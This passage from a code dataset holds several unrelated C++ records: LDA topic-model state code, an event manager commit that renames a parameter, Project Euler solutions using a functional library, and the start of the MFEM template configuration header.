MICROSCOPES_DCHECK(theta[eid].size() == dishes_.size(), \"theta[eid] wrong\");\n                \/\/ Probability that topic of word occurs in document\n                \/\/ times probability word occurs in topic\n                word_prob += theta[eid][did] * phi[did][v];\n            }\n            log_likelihood -= distributions::fast_log(word_prob);\n        }\n        N += nterms(eid);\n    }\n\n    return exp(log_likelihood \/ N);\n}\n\n\n\/\/ private:\n\nvoid\nmicroscopes::lda::state::leave_from_dish(size_t j, size_t t) {\n    size_t k = dish_assignments_[j][t];\n    MICROSCOPES_DCHECK(k > 0, \"k < = 0\");\n    MICROSCOPES_DCHECK(m_k[k] > 0, \"m_k[k] <= 0\");\n    m_k[k] -= 1; \/\/ one less table for topic k\n    if (m_k[k] == 0) \/\/ destroy table\n    {\n        delete_dish(k);\n        dish_assignments_[j][t] = 0;\n    }\n}\n\nvoid\nmicroscopes::lda::state::validate_n_k_values() {\n    return;\n    std::map<size_t, std::tuple<float, float>> values;\n    for (auto k : dishes_) {\n        float n_kv_sum = 0;\n        for (size_t v = 0; v < V; v++) {\n            n_kv_sum += n_kv[k].get(v);\n        }\n        values[k] = std::tuple<float, float>(n_kv_sum, n_k.get(k));\n    }\n    for (auto kv : values) {\n        if (kv.first == 0) continue;\n        MICROSCOPES_CHECK(std::abs((std::get<0>(kv.second) - std::get<1>(kv.second))) < 0.01,\n                          \"n_kv doesn't match n_k\");\n    }\n}\n\n\nvoid\nmicroscopes::lda::state::seat_at_dish(size_t j, size_t t, size_t k_new) {\n    m_k[k_new] += 1;\n\n    size_t k_old = dish_assignments_[j][t];\n    if (k_new != k_old)\n    {\n        MICROSCOPES_DCHECK(k_new != 0, \"k_new is 0\");\n        dish_assignments_[j][t] = k_new;\n        float n_jt_val = n_jt[j][t];\n\n        if (k_old != 0)\n        {\n            n_k.decr(k_old, n_jt_val);\n        }\n        n_k.incr(k_new, n_jt_val);\n        for (auto kv : n_jtv[j][t]) {\n            auto v = kv.first;\n            auto n = kv.second;\n            MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n            if (k_old != 0)\n            {\n                n_kv[k_old].decr(v, n);\n            }\n            n_kv[k_new].incr(v, n);\n        }\n    }\n}\n\n\nvoid\nmicroscopes::lda::state::add_table(size_t eid, size_t tid, size_t word_index) {\n    table_assignments_[eid][word_index] = tid;\n    n_jt[eid][tid] += 1;\n\n    size_t k_new = dish_assignments_[eid][tid];\n    n_k.incr(k_new, 1);\n\n    size_t v = get_word(eid, word_index);\n    MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n    n_kv[k_new].incr(v, 1);\n    n_jtv[eid][tid][v] += 1;\n}\n\nvoid\nmicroscopes::lda::state::create_dish(size_t k_new){\n    while(k_new >= m_k.size())\n    {\n        m_k.push_back(0);\n        n_kv.push_back(lda_util::defaultdict<size_t, float>(beta_));\n    }\n\n    dishes_.insert(dishes_.begin() + k_new, k_new);\n    n_k.set(k_new, beta_ * V);\n    n_kv[k_new] = lda_util::defaultdict<size_t, float>(beta_);\n    m_k[k_new] = 0;\n}\n\nsize_t\nmicroscopes::lda::state::create_dish() {\n    size_t k_new = dishes_.size();\n    for (size_t i = 0; i < dishes_.size(); ++i)\n    {\n        if (i != dishes_[i])\n        {\n            k_new = i;\n            break;\n        }\n    }\n    create_dish(k_new);\n    return k_new;\n\n}\n\nsize_t\nmicroscopes::lda::state::create_table(size_t eid, size_t k_new)\n{\n    size_t t_new = using_t[eid].size();\n    for (size_t i = 0; i < using_t[eid].size(); ++i)\n    {\n        if (i != using_t[eid][i])\n        {\n            t_new = i;\n            break;\n        }\n    }\n    if (t_new == using_t[eid].size())\n    {\n        n_jt[eid].push_back(0);\n        dish_assignments_[eid].push_back(0);\n\n        n_jtv[eid].push_back(std::map<size_t, size_t>());\n    }\n    using_t[eid].insert(using_t[eid].begin() + t_new, t_new);\n    n_jt[eid][t_new] = 0;\n    dish_assignments_[eid][t_new] = k_new;\n    if (k_new != 0){\n        m_k[k_new] += 1;\n    }\n    return t_new;\n}\n\nvoid\nmicroscopes::lda::state::remove_table(size_t eid, size_t word_index) {\n    size_t tid = table_assignments_[eid][word_index];\n    if (tid > 0)\n    {\n        size_t k = dish_assignments_[eid][tid];\n        MICROSCOPES_DCHECK(k > 0, \"k <= 0\");\n        \/\/ decrease counters\n        size_t v = get_word(eid, word_index);\n        MICROSCOPES_DCHECK(v < nwords(), \"Word out of bounds\");\n        n_kv[k].decr(v, 1);\n        n_k.decr(k, 1);\n        n_jt[eid][tid] -= 1;\n        n_jtv[eid][tid][v] -= 1;\n\n        if (n_jt[eid][tid] == 0)\n        {\n            delete_table(eid, tid);\n        }\n    }\n}\n\nvoid\nmicroscopes::lda::state::delete_table(size_t eid, size_t tid) {\n    size_t k = dish_assignments_[eid][tid];\n    lda_util::removeFirst(using_t[eid], tid);\n    m_k[k] -= 1;\n    MICROSCOPES_DCHECK(m_k[k] >= 0, \"m_k[k] < 0\");\n    if (m_k[k] == 0)\n    {\n        delete_dish(k);\n    }\n\n    \/\/ Prune dish assignment vector\n    dish_assignments_[eid][tid] = 0;\n    while(dish_assignments_[eid].empty() == false)\n   {\n        if(dish_assignments_[eid].back() == 0){\n            dish_assignments_[eid].pop_back();\n            n_jt[eid].pop_back();\n            n_jtv[eid].pop_back();\n        }\n        else break;\n   }\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"KEngine\/Common\/StopWatch.hpp\"\n#include \"KEngine\/Core\/EventManagerImpl.hpp\"\n#include \"KEngine\/Log\/Log.hpp\"\n\n#include <cassert>\n\nnamespace ke::priv\n{\n\n    EventManagerImpl::~EventManagerImpl(void)\n    {\n        m_Listeners.clear();\n        m_EventQueue.clear();\n    }\n\n    bool EventManagerImpl::registerListener(const ke::EventType p_EventType, const ke::EventDelegate & p_Delegate)\n    {\n        ListenerList & listeners(m_Listeners[p_EventType]);\n        for (const DelegateType & listener : listeners)\n            if (listener == p_Delegate) \/\/ check if already in the list for specified EventType.\n            {\n                Log::instance()->warn(\"listener already registered to event type: {}\", p_EventType);\n                return false;\n            }\n\n        listeners.push_back(p_Delegate);\n        return true;\n    }\n\n    bool EventManagerImpl::deregisterListener(const ke::EventType p_EventType, const ke::EventDelegate & p_EventDelegate)\n    {\n        if (m_Listeners.find(p_EventType) == m_Listeners.end())\n        {\n            Log::instance()->warn(\"no listener is registered to listen to event type: {}\", p_EventType);\n            return false;\n        }\n        ListenerList & listeners(m_Listeners[p_EventType]);\n        for (ListenerList::const_iterator cit(listeners.begin()); cit != listeners.end(); ++cit)\n        {\n            if (*cit == p_EventDelegate)\n            {\n                listeners.erase(cit);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    bool EventManagerImpl::deregisterAllListeners(const ke::EventType p_EventType)\n    {\n        if (m_Listeners.find(p_EventType) == m_Listeners.end())\n        {\n            Log::instance()->warn(\"no listeners are registered to listen to event type: {}\", p_EventType);\n            return false;\n        }\n        m_Listeners[p_EventType].clear();\n        return true;\n    }\n\n    bool EventManagerImpl::dispatchNow(ke::EventSptr p_Event)\n    {\n        assert(p_Event->getType() != ke::IEvent::INVALID_EVENT);\n        EventListenersMap::iterator it = m_Listeners.find(p_Event->getType());\n\n        if (it == m_Listeners.end())\n            return false;\n\n        const ListenerList & listeners = it->second;\n        bool handled_event(false);\n        for (auto & listener : listeners)\n        {\n            listener(p_Event);\n            handled_event = true;\n        }\n        return handled_event;\n    }\n\n    void EventManagerImpl::queue(ke::EventSptr p_spNewEvent)\n    {\n        m_ThreadSafeEventQueue.push(p_spNewEvent);\n    }\n\n    bool EventManagerImpl::removeEvent(const ke::EventType p_EventType, const bool p_RemoveAllSame)\n    {\n        bool remove_success(false);\n        EventListenersMap::iterator listeners_it(m_Listeners.find(p_EventType));\n        if (listeners_it == m_Listeners.end())\n            return false;\n\n        EventQueue::iterator it = m_EventQueue.begin();\n        while (it != m_EventQueue.end())\n        {\n            auto it_for_delete = it; ++it; \/\/ erase() invalidates iterator. Make a copy and iterate original first.\n\n                                           \/\/ different type, move on to next.\n            if (p_EventType != (*it_for_delete)->getType()) continue;\n\n            m_EventQueue.erase(it_for_delete); \/\/ type match, so remove.\n            remove_success = true;\n\n            if (!p_RemoveAllSame) break;\n        }\n        return remove_success;\n    }\n\n    EventProcessResult EventManagerImpl::update(const ke::Time p_ExcutionDurationLimit)\n    {\n        bool has_duraton_limit = p_ExcutionDurationLimit == ke::Time::Zero ? false : true;\n\n        ke::Time elapsed;\n        ke::StopWatch stopwatch; stopwatch.restart();\n\n        ke::EventSptr moving_event_ptr;\n        while (m_ThreadSafeEventQueue.poll(moving_event_ptr))\n            m_EventQueue.push_back(moving_event_ptr);\n\n        ke::EventSptr event_ptr;\n        while (!m_EventQueue.empty())\n        {\n            elapsed += stopwatch.getElapsed(); stopwatch.restart();\n            if (has_duraton_limit && elapsed >= p_ExcutionDurationLimit) \/\/ if elapsed time if duration limit setted.\n                break;\n\n            event_ptr = m_EventQueue.front(); m_EventQueue.pop_front();\n\n            auto listeners_it = m_Listeners.find(event_ptr->getType());\n            if (listeners_it == m_Listeners.end()) \/\/ no listeners registered for this type.\n                continue;\n\n            ListenerList & list(listeners_it->second);\n            for (auto & listener : list)\n                listener(event_ptr);    \/\/ call delegate\n        }\n\n        if (m_ThreadSafeEventQueue.isEmpty())\n            return ke::EventProcessResult::ALL_EVENTS_PROCESSED;\n        return ke::EventProcessResult::SOME_EVENTS_PROCESSED;\n    }\n\n}\n<commit_msg>renamed parameter<commit_after>#include \"KEngine\/Common\/StopWatch.hpp\"\n#include \"KEngine\/Core\/EventManagerImpl.hpp\"\n#include \"KEngine\/Log\/Log.hpp\"\n\n#include <cassert>\n\nnamespace ke::priv\n{\n\n    EventManagerImpl::~EventManagerImpl(void)\n    {\n        m_Listeners.clear();\n        m_EventQueue.clear();\n    }\n\n    bool EventManagerImpl::registerListener(const ke::EventType p_EventType, const ke::EventDelegate & p_Delegate)\n    {\n        ListenerList & listeners(m_Listeners[p_EventType]);\n        for (const DelegateType & listener : listeners)\n            if (listener == p_Delegate) \/\/ check if already in the list for specified EventType.\n            {\n                Log::instance()->warn(\"listener already registered to event type: {}\", p_EventType);\n                return false;\n            }\n\n        listeners.push_back(p_Delegate);\n        return true;\n    }\n\n    bool EventManagerImpl::deregisterListener(const ke::EventType p_EventType, const ke::EventDelegate & p_Delegate)\n    {\n        if (m_Listeners.find(p_EventType) == m_Listeners.end())\n        {\n            Log::instance()->warn(\"no listener is registered to listen to event type: {}\", p_EventType);\n            return false;\n        }\n        ListenerList & listeners(m_Listeners[p_EventType]);\n        for (ListenerList::const_iterator cit(listeners.begin()); cit != listeners.end(); ++cit)\n        {\n            if (*cit == p_Delegate)\n            {\n                listeners.erase(cit);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    bool EventManagerImpl::deregisterAllListeners(const ke::EventType p_EventType)\n    {\n        if (m_Listeners.find(p_EventType) == m_Listeners.end())\n        {\n            Log::instance()->warn(\"no listeners are registered to listen to event type: {}\", p_EventType);\n            return false;\n        }\n        m_Listeners[p_EventType].clear();\n        return true;\n    }\n\n    bool EventManagerImpl::dispatchNow(ke::EventSptr p_Event)\n    {\n        assert(p_Event->getType() != ke::IEvent::INVALID_EVENT);\n        EventListenersMap::iterator it = m_Listeners.find(p_Event->getType());\n\n        if (it == m_Listeners.end())\n            return false;\n\n        const ListenerList & listeners = it->second;\n        bool handled_event(false);\n        for (auto & listener : listeners)\n        {\n            listener(p_Event);\n            handled_event = true;\n        }\n        return handled_event;\n    }\n\n    void EventManagerImpl::queue(ke::EventSptr p_spNewEvent)\n    {\n        m_ThreadSafeEventQueue.push(p_spNewEvent);\n    }\n\n    bool EventManagerImpl::removeEvent(const ke::EventType p_EventType, const bool p_RemoveAllSame)\n    {\n        bool remove_success(false);\n        EventListenersMap::iterator listeners_it(m_Listeners.find(p_EventType));\n        if (listeners_it == m_Listeners.end())\n            return false;\n\n        EventQueue::iterator it = m_EventQueue.begin();\n        while (it != m_EventQueue.end())\n        {\n            auto it_for_delete = it; ++it; \/\/ erase() invalidates iterator. Make a copy and iterate original first.\n\n                                           \/\/ different type, move on to next.\n            if (p_EventType != (*it_for_delete)->getType()) continue;\n\n            m_EventQueue.erase(it_for_delete); \/\/ type match, so remove.\n            remove_success = true;\n\n            if (!p_RemoveAllSame) break;\n        }\n        return remove_success;\n    }\n\n    EventProcessResult EventManagerImpl::update(const ke::Time p_ExcutionDurationLimit)\n    {\n        bool has_duraton_limit = p_ExcutionDurationLimit == ke::Time::Zero ? false : true;\n\n        ke::Time elapsed;\n        ke::StopWatch stopwatch; stopwatch.restart();\n\n        ke::EventSptr moving_event_ptr;\n        while (m_ThreadSafeEventQueue.poll(moving_event_ptr))\n            m_EventQueue.push_back(moving_event_ptr);\n\n        ke::EventSptr event_ptr;\n        while (!m_EventQueue.empty())\n        {\n            elapsed += stopwatch.getElapsed(); stopwatch.restart();\n            if (has_duraton_limit && elapsed >= p_ExcutionDurationLimit) \/\/ if elapsed time if duration limit setted.\n                break;\n\n            event_ptr = m_EventQueue.front(); m_EventQueue.pop_front();\n\n            auto listeners_it = m_Listeners.find(event_ptr->getType());\n            if (listeners_it == m_Listeners.end()) \/\/ no listeners registered for this type.\n                continue;\n\n            ListenerList & list(listeners_it->second);\n            for (auto & listener : list)\n                listener(event_ptr);    \/\/ call delegate\n        }\n\n        if (m_ThreadSafeEventQueue.isEmpty())\n            return ke::EventProcessResult::ALL_EVENTS_PROCESSED;\n        return ke::EventProcessResult::SOME_EVENTS_PROCESSED;\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <assert.h>\n\n#include <algorithm>\n#include <cmath>\n#include <iostream>\n#include <iomanip>\n#include <set>\n\n#include <ftl\/ftl.h>\n\n#include \"timestamp.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -- Helper Functions\n\/\/ -----------------------------------------------------------------------------\ntemplate <typename T>\nT sqrt_int(T num) {\n  return static_cast<T>(std::sqrt(num + 0.99));\n}\n\nuint64_t smallest_prime_factor(uint64_t num) {\n  return ftl::range(2llu, sqrt_int(num) + 1)\n      .filter([num](let p){ return (num % p) == 0; })\n      .head()\n      .value_or(num);\n}\n\nuint64_t largest_prime_factor(uint64_t num) {\n  let p = smallest_prime_factor(num);\n  return p == num ? p : largest_prime_factor(num \/ p);\n}\n\nuint64_t is_prime(uint64_t num) {\n  return num == smallest_prime_factor(num);\n};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Find the sum of all the multiples of 3 or 5 below 1000.\nint problem1() {\n  return ftl::range(1000)\n      .filter([](let x){ return x % 3 == 0 || x % 5 == 0; })\n      .sum();\n}\n\n\/\/ By considering the terms in the Fibonacci sequence whose values do not exceed\n\/\/ four million, find the sum of the even-valued terms.\nint problem2() {\n  return ftl::unfold(std::make_tuple(1, 1), [](let x){\n          return std::make_tuple(std::get<1>(x),\n                                 std::get<0>(x) + std::get<1>(x));\n      })\n      .map([](let x){ return std::get<0>(x); })\n      .take_while([](let x){ return x < 4'000'000; })\n      .filter([](let x){ return x % 2 == 0; })\n      .sum();\n}\n\n\/\/ What is the largest prime factor of the number 600851475143\nuint64_t problem3() {\n  return largest_prime_factor(600851475143llu);\n}\n\n\/\/ Find the difference between the sum of the squares of the first one hundred\n\/\/ natural numbers and the square of the sum.\nuint64_t problem6() {\n  let n = 100;\n  let square = [](let x){ return x * x; };\n  let sum_squares = ftl::range(1, n + 1).map(square).sum();\n  let square_sum = square(ftl::range(1, n + 1).sum());\n  return square_sum - sum_squares;\n}\n\n\/\/ What is the 10'001st prime number?\nuint64_t problem7() {\n  return ftl::iota(2llu).filter(is_prime).take(10'001).tail().value();\n}\n\n\/\/ There exists exactly one Pythagorean triplet for which a + b + c = 1000.\n\/\/ Find the product abc.\nuint32_t problem9() {\n  let n = 1000;\n  return ftl::range(1, n \/ 2).map([](let a){\n      return ftl::range(1, a).map([a](let b){\n          return std::make_tuple(a, b);\n      });\n  })\n  .flat_map([n](let ab){\n      return std::tuple_cat(ab,\n          std::make_tuple(n - std::get<0>(ab) - std::get<1>(ab)));\n  })\n  .filter([](let abc) {\n      let a = std::get<0>(abc);\n      let b = std::get<1>(abc);\n      let c = std::get<2>(abc);\n      return a * a + b * b ==  c * c;\n  })\n  .map([](let abc){\n      return std::get<0>(abc) * std::get<1>(abc) * std::get<2>(abc);\n  })\n  .head()\n  .value();\n}\n\n\/\/ Find the sum of all the primes below two million.\nuint64_t problem10() {\n  return ftl::range(2, 2'000'000).filter(is_prime).sum<uint64_t>();\n}\n\n\/\/ What is the value of the first triangle number to have over five hundred\n\/\/ divisors?\nuint64_t problem12() {\n  let num_divisors = [](let n) {\n      let sqrtn = sqrt_int(n);\n      return ftl::range(1, sqrtn)\n          .filter([n](let i) { return n % i == 0; })\n          .map([](let _) { return 1; })\n          .sum() * 2 + (sqrtn * sqrtn == n ? 1 : 0);\n  };\n  return ftl::iota(1)\n     .map([](let x) { return x * (x + 1) \/ 2; })\n     .filter([&num_divisors](let x){ return num_divisors(x) > 500; })\n     .head().value();\n}\n\nuint64_t problem14() {\n  let chain_length = [](let n){\n    return ftl::unfold(n,\n        [](let i){\n            if (i == 1) {\n              return ftl::optional<uint64_t>();\n            } else if (i % 2 == 0) {\n              return ftl::make_optional(i \/ 2);\n            } else {\n              return ftl::make_optional(3 * i + 1);\n            }\n        })\n        .map([](let _){ return 1; })\n        .sum();\n  };\n  return std::get<0>(ftl::range(1llu, 1'000'000llu)\n      .map([chain_length](let i){\n        return std::make_tuple(i, chain_length(i));\n      })\n      .reduce(std::make_tuple(0llu, 0), [](let acc, let val){\n        if (std::get<1>(acc) < std::get<1>(val)) {\n          return val;\n        } else {\n          return acc;\n        }\n      }));\n}\n\n\/\/ Find the sum of all the positive integers which cannot be written as the sum\n\/\/ of two abundant numbers.\nuint64_t problem23() {\n  let max_num = 28123;\n\n  let is_abundant_impl = [](let n){\n      let sqrtn = sqrt_int(n);\n      let sum_divisors = ftl::range(1, sqrtn + 1)\n          .filter([n](let i){ return n % i == 0; })\n          .map([n](let i){ return i == 1 || i * i == n ? i : i + n \/ i; })\n          .sum();\n      return sum_divisors > n;\n  };\n\n  let is_abundant = ftl::memoize<decltype(is_abundant_impl), int>(\n      is_abundant_impl);\n\n  let abundants = ftl::range(1, max_num + 1).filter(is_abundant).eval();\n\n  let is_sum_abundants = [&is_abundant, &abundants](let n){\n      return abundants\n          .filter([n](let k){ return k < n; })\n          .filter([n, &is_abundant](let k){ return is_abundant(n - k); })\n          .any();\n  };\n\n  return ftl::range(1, max_num + 1)\n      .filter([&is_sum_abundants](let i){ return !is_sum_abundants(i); })\n      .sum();\n}\n\ntemplate <typename Func>\nvoid do_run(const std::string &name, const Func &f) {\n  uint64_t t_start = timestamp_ms();\n  let res = f();\n  uint64_t t_stop = timestamp_ms();\n  std::cout << \"| \"\n            << std::setw(10) << std::left << name << \" | \"\n            << std::setw(12) << std::right << res << \" | \"\n            << std::setw(5) << t_stop - t_start << \"ms\"\n            << \" |\"\n            << std::endl;\n}\n\n#define STRINGIFY(x) #x\n#define TOSTRING(x)  STRINGIFY(x)\n#define RUN(f) do_run(TOSTRING(f), (f))\n\nint main() {\n  const char* spacing = \"---------------------------------------\";\n  const char* title =   \"| Project Euler examples              |\";\n\n  std::cout << spacing << std::endl\n            << title << std::endl\n            << spacing << std::endl;\n\n  RUN(problem1);\n  RUN(problem2);\n  RUN(problem3);\n  RUN(problem6);\n  RUN(problem7);\n  RUN(problem9);\n  RUN(problem10);\n  RUN(problem12);\n  RUN(problem14);\n  RUN(problem23);\n\n  std::cout << spacing << std::endl;\n}\n\n<commit_msg>fixed indent<commit_after>#include <assert.h>\n\n#include <algorithm>\n#include <cmath>\n#include <iostream>\n#include <iomanip>\n#include <set>\n\n#include <ftl\/ftl.h>\n\n#include \"timestamp.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -- Helper Functions\n\/\/ -----------------------------------------------------------------------------\ntemplate <typename T>\nT sqrt_int(T num) {\n  return static_cast<T>(std::sqrt(num + 0.99));\n}\n\nuint64_t smallest_prime_factor(uint64_t num) {\n  return ftl::range(2llu, sqrt_int(num) + 1)\n      .filter([num](let p){ return (num % p) == 0; })\n      .head()\n      .value_or(num);\n}\n\nuint64_t largest_prime_factor(uint64_t num) {\n  let p = smallest_prime_factor(num);\n  return p == num ? p : largest_prime_factor(num \/ p);\n}\n\nuint64_t is_prime(uint64_t num) {\n  return num == smallest_prime_factor(num);\n};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Find the sum of all the multiples of 3 or 5 below 1000.\nint problem1() {\n  return ftl::range(1000)\n      .filter([](let x){ return x % 3 == 0 || x % 5 == 0; })\n      .sum();\n}\n\n\/\/ By considering the terms in the Fibonacci sequence whose values do not exceed\n\/\/ four million, find the sum of the even-valued terms.\nint problem2() {\n  return ftl::unfold(std::make_tuple(1, 1), [](let x){\n          return std::make_tuple(std::get<1>(x),\n                                 std::get<0>(x) + std::get<1>(x));\n      })\n      .map([](let x){ return std::get<0>(x); })\n      .take_while([](let x){ return x < 4'000'000; })\n      .filter([](let x){ return x % 2 == 0; })\n      .sum();\n}\n\n\/\/ What is the largest prime factor of the number 600851475143\nuint64_t problem3() {\n  return largest_prime_factor(600851475143llu);\n}\n\n\/\/ Find the difference between the sum of the squares of the first one hundred\n\/\/ natural numbers and the square of the sum.\nuint64_t problem6() {\n  let n = 100;\n  let square = [](let x){ return x * x; };\n  let sum_squares = ftl::range(1, n + 1).map(square).sum();\n  let square_sum = square(ftl::range(1, n + 1).sum());\n  return square_sum - sum_squares;\n}\n\n\/\/ What is the 10'001st prime number?\nuint64_t problem7() {\n  return ftl::iota(2llu).filter(is_prime).take(10'001).tail().value();\n}\n\n\/\/ There exists exactly one Pythagorean triplet for which a + b + c = 1000.\n\/\/ Find the product abc.\nuint32_t problem9() {\n  let n = 1000;\n  return ftl::range(1, n \/ 2).map([](let a){\n          return ftl::range(1, a).map([a](let b){\n              return std::make_tuple(a, b);\n          });\n      })\n      .flat_map([n](let ab){\n          return std::tuple_cat(ab,\n              std::make_tuple(n - std::get<0>(ab) - std::get<1>(ab)));\n      })\n      .filter([](let abc) {\n          let a = std::get<0>(abc);\n          let b = std::get<1>(abc);\n          let c = std::get<2>(abc);\n          return a * a + b * b ==  c * c;\n      })\n      .map([](let abc){\n          return std::get<0>(abc) * std::get<1>(abc) * std::get<2>(abc);\n      })\n      .head()\n      .value();\n}\n\n\/\/ Find the sum of all the primes below two million.\nuint64_t problem10() {\n  return ftl::range(2, 2'000'000).filter(is_prime).sum<uint64_t>();\n}\n\n\/\/ What is the value of the first triangle number to have over five hundred\n\/\/ divisors?\nuint64_t problem12() {\n  let num_divisors = [](let n) {\n      let sqrtn = sqrt_int(n);\n      return ftl::range(1, sqrtn)\n          .filter([n](let i) { return n % i == 0; })\n          .map([](let _) { return 1; })\n          .sum() * 2 + (sqrtn * sqrtn == n ? 1 : 0);\n  };\n  return ftl::iota(1)\n     .map([](let x) { return x * (x + 1) \/ 2; })\n     .filter([&num_divisors](let x){ return num_divisors(x) > 500; })\n     .head().value();\n}\n\nuint64_t problem14() {\n  let chain_length = [](let n){\n    return ftl::unfold(n,\n        [](let i){\n            if (i == 1) {\n              return ftl::optional<uint64_t>();\n            } else if (i % 2 == 0) {\n              return ftl::make_optional(i \/ 2);\n            } else {\n              return ftl::make_optional(3 * i + 1);\n            }\n        })\n        .map([](let _){ return 1; })\n        .sum();\n  };\n  return std::get<0>(ftl::range(1llu, 1'000'000llu)\n      .map([chain_length](let i){\n        return std::make_tuple(i, chain_length(i));\n      })\n      .reduce(std::make_tuple(0llu, 0), [](let acc, let val){\n        if (std::get<1>(acc) < std::get<1>(val)) {\n          return val;\n        } else {\n          return acc;\n        }\n      }));\n}\n\n\/\/ Find the sum of all the positive integers which cannot be written as the sum\n\/\/ of two abundant numbers.\nuint64_t problem23() {\n  let max_num = 28123;\n\n  let is_abundant_impl = [](let n){\n      let sqrtn = sqrt_int(n);\n      let sum_divisors = ftl::range(1, sqrtn + 1)\n          .filter([n](let i){ return n % i == 0; })\n          .map([n](let i){ return i == 1 || i * i == n ? i : i + n \/ i; })\n          .sum();\n      return sum_divisors > n;\n  };\n\n  let is_abundant = ftl::memoize<decltype(is_abundant_impl), int>(\n      is_abundant_impl);\n\n  let abundants = ftl::range(1, max_num + 1).filter(is_abundant).eval();\n\n  let is_sum_abundants = [&is_abundant, &abundants](let n){\n      return abundants\n          .filter([n](let k){ return k < n; })\n          .filter([n, &is_abundant](let k){ return is_abundant(n - k); })\n          .any();\n  };\n\n  return ftl::range(1, max_num + 1)\n      .filter([&is_sum_abundants](let i){ return !is_sum_abundants(i); })\n      .sum();\n}\n\ntemplate <typename Func>\nvoid do_run(const std::string &name, const Func &f) {\n  uint64_t t_start = timestamp_ms();\n  let res = f();\n  uint64_t t_stop = timestamp_ms();\n  std::cout << \"| \"\n            << std::setw(10) << std::left << name << \" | \"\n            << std::setw(12) << std::right << res << \" | \"\n            << std::setw(5) << t_stop - t_start << \"ms\"\n            << \" |\"\n            << std::endl;\n}\n\n#define STRINGIFY(x) #x\n#define TOSTRING(x)  STRINGIFY(x)\n#define RUN(f) do_run(TOSTRING(f), (f))\n\nint main() {\n  const char* spacing = \"---------------------------------------\";\n  const char* title =   \"| Project Euler examples              |\";\n\n  std::cout << spacing << std::endl\n            << title << std::endl\n            << spacing << std::endl;\n\n  RUN(problem1);\n  RUN(problem2);\n  RUN(problem3);\n  RUN(problem6);\n  RUN(problem7);\n  RUN(problem9);\n  RUN(problem10);\n  RUN(problem12);\n  RUN(problem14);\n  RUN(problem23);\n\n  std::cout << spacing << std::endl;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_TEMPLATE_CONFIG\n#define MFEM_TEMPLATE_CONFIG\n\n\/\/ the main MFEM config header\n#include \"config.hpp\"\n\n\/\/ --- MFEM_STATIC_ASSERT\n#if (__cplusplus >= 201103L)\n#define MFEM_STATIC_ASSERT(cond, msg) static_assert((cond), msg)\n#else\n#define MFEM_STATIC_ASSERT(cond, msg) if (cond) { }\n#endif\n\n\/\/ --- MFEM_ALWAYS_INLINE\n#if !defined(MFEM_DEBUG) && (defined(__GNUC__) || defined(__clang__))\n#define MFEM_ALWAYS_INLINE __attribute__((always_inline))\n#else\n#define MFEM_ALWAYS_INLINE\n#endif\n\n\/\/ --- MFEM_VECTORIZE_LOOP (disabled)\n#if (__cplusplus >= 201103L) && !defined(MFEM_DEBUG) && defined(__GNUC__)\n\/\/#define MFEM_VECTORIZE_LOOP _Pragma(\"GCC ivdep\")\n#define MFEM_VECTORIZE_LOOP\n#else\n#define MFEM_VECTORIZE_LOOP\n#endif\n\n\/\/ --- MFEM_ALIGN_AS\n#if (__cplusplus >= 201103L)\n#define MFEM_ALIGN_AS(bytes) alignas(bytes)\n#elif !defined(MFEM_DEBUG) && (defined(__GNUC__) || defined(__clang__))\n#define MFEM_ALIGN_AS(bytes) __attribute__ ((aligned (bytes)))\n#else\n#define MFEM_ALIGN_AS(bytes)\n#endif\n\n\/\/ --- POSIX MEMALIGN\n#ifdef _WIN32\n#define MFEM_POSIX_MEMALIGN(p,a,s) (((*(p))=_aligned_malloc((s),(a))),*(p)?0:errno)\n#define MFEM_POSIX_MEMALIGN_FREE _aligned_free\n#else\n#define MFEM_POSIX_MEMALIGN posix_memalign\n#define MFEM_POSIX_MEMALIGN_FREE free\n#endif\n\n\/\/ --- AutoSIMD or intrinsics\n#ifndef MFEM_USE_SIMD\n#include \"simd\/auto.hpp\"\n#else\n#if defined(__VSX__)\n#include \"simd\/vsx.hpp\"\n#elif defined (__bgq__)\n#include \"simd\/qpx.hpp\"\n#elif defined(__x86_64__)\n#include \"simd\/x86.hpp\"\n#else\n#error Unknown SIMD architecture\n#endif\n#endif\n\n\/\/ --- Default SIMD and BLOCK sizes\n#ifdef _WIN32\n#define MFEM_SIMD_DEFAULT_SIZE 8\n#define MFEM_TEMPLATE_BLOCK_DEFAULT_SIZE 1\n#else\n#define MFEM_SIMD_DEFAULT_SIZE 32\n#define MFEM_TEMPLATE_BLOCK_DEFAULT_SIZE 4\n#endif\n\n\/\/ --- SIMD and BLOCK sizes\n#ifndef MFEM_USE_SIMD\n#define MFEM_SIMD_SIZE MFEM_SIMD_DEFAULT_SIZE\n#define MFEM_TEMPLATE_BLOCK_SIZE MFEM_TEMPLATE_BLOCK_DEFAULT_SIZE\n#else\n#ifdef __VSX__\n#define MFEM_SIMD_SIZE 16\n#define MFEM_TEMPLATE_BLOCK_SIZE 2\n#else\n#define MFEM_SIMD_SIZE MFEM_SIMD_DEFAULT_SIZE\n#define MFEM_TEMPLATE_BLOCK_SIZE MFEM_TEMPLATE_BLOCK_DEFAULT_SIZE\n#endif\n#endif\n\ntemplate<typename complex_t, typename real_t, bool simd>\nstruct AutoImplTraits\n{\n   static const int block_size = MFEM_TEMPLATE_BLOCK_SIZE;\n\n   static const int align_size = MFEM_SIMD_SIZE; \/\/ in bytes\n\n   static const int batch_size = 1;\n\n   static const int simd_size = 